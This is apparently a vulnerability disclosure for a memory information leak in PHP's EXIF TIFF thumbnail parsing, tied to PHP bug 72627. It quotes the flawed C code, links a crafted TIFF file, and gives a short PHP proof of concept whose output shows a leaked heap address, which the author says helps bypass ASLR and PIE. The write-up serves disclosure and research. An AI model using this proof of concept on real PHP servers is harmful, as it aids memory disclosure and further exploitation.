I found some vulnerable code that leads to the memory leak in exif_process_IFD_in_TIFF. Let take look at code chunk :
if (!ImageInfo->Thumbnail.data && ImageInfo->Thumbnail.offset && ImageInfo->Thumbnail.size && ImageInfo->read_thumbnail) {
ImageInfo->Thumbnail.data = safe_emalloc(ImageInfo->Thumbnail.size, 1, 0);
php_stream_seek(ImageInfo->infile, ImageInfo->Thumbnail.offset, SEEK_SET);
fgot = php_stream_read(ImageInfo->infile, ImageInfo->Thumbnail.data, ImageInfo->Thumbnail.size);
if (fgot < ImageInfo->Thumbnail.size) {
EXIF_ERRLOG_THUMBEOF(ImageInfo)
}
exif_thumbnail_build(ImageInfo);
}
Because lack of checking ImageInfo->Thumbnail.offset if an attack set ImageInfo->Thumbnail.offset larger than ImageInfo->FileSize then php_stream_read return 0 to fgot, because EXIF_ERRLOG_THUMBEOF was defined as :
#define EXIF_ERRLOG_THUMBEOF(ImageInfo) exif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, "%s", EXIF_ERROR_THUMBEOF);
As you can see there is no exit after this error is output.
After that exif_thumbnail_build(ImageInfo) is called. Because this thumbnail I applied is IMAGE_FILETYPE_JPEG so exif_thumbnail_build will return without error.
Finally ImageInfo->Thumbnail.data is no fill by user data that lead to information leak like below, an attacker can leak address and then use it to bypass some protection such as PIE, ASLR,…
Here the tiff file : https://drive.google.com/open?id=0B0D1DYQpkA9UVGE5QlJaNnIxb1E
<?php
$exif = exif_read_data(‘exif/gen.tiff’,0,0,true);
var_dump($exif);
$thumb = $exif['THUMBNAIL']['THUMBNAIL'];
echo bin2hex($thumb);
?>
$./php exif.php
Warning: exif_read_data(gen.tiff): Thumbnail goes IFD boundary or end of file reached in /vagrant_extend/audit/exif.php on line 2
Warning: exif_read_data(gen.tiff): Error in TIFF: filesize(x04E2) less than start of IFD dir(x829A0004) in /vagrant_extend/audit/exif.php on line 2
array(11) {
["FileName"]=>
string(8) "gen.tiff"
["FileDateTime"]=>
int(1468986539)
["FileSize"]=>
int(1250)
["FileType"]=>
int(7)
["MimeType"]=>
string(10) "image/tiff"
["SectionsFound"]=>
string(30) "ANY_TAG, IFD0, THUMBNAIL, EXIF"
["COMPUTED"]=>
array(10) {
["html"]=>
string(24) "width="128" height="132""
["Height"]=>
int(132)
["Width"]=>
int(128)
["IsColor"]=>
int(0)
["ByteOrderMotorola"]=>
int(0)
["ApertureFNumber"]=>
string(5) "f/1.0"
["Thumbnail.FileType"]=>
int(2)
["Thumbnail.MimeType"]=>
string(10) "image/jpeg"
["Thumbnail.Height"]=>
int(132)
["Thumbnail.Width"]=>
int(128)
}
["XResolution"]=>
string(21) "1414812756/1414812756"
["THUMBNAIL"]=>
array(5) {
["ImageWidth"]=>
int(128)
["ImageLength"]=>
int(132)
["JPEGInterchangeFormat"]=>
int(1280)
["JPEGInterchangeFormatLength"]=>
int(200)
["THUMBNAIL"]=>
string(200) "" # leak leak
}
["ExposureTime"]=>
string(21) "1414812756/1414812756"
["FNumber"]=>
string(21) "1414812756/1414812756"
}
00c2a7081e7f000000000.... => leak leak (00c2a7081e7f => 0x7f1e08a7c200)
Bug here : https://bugs.php.net/bug.php?id=72627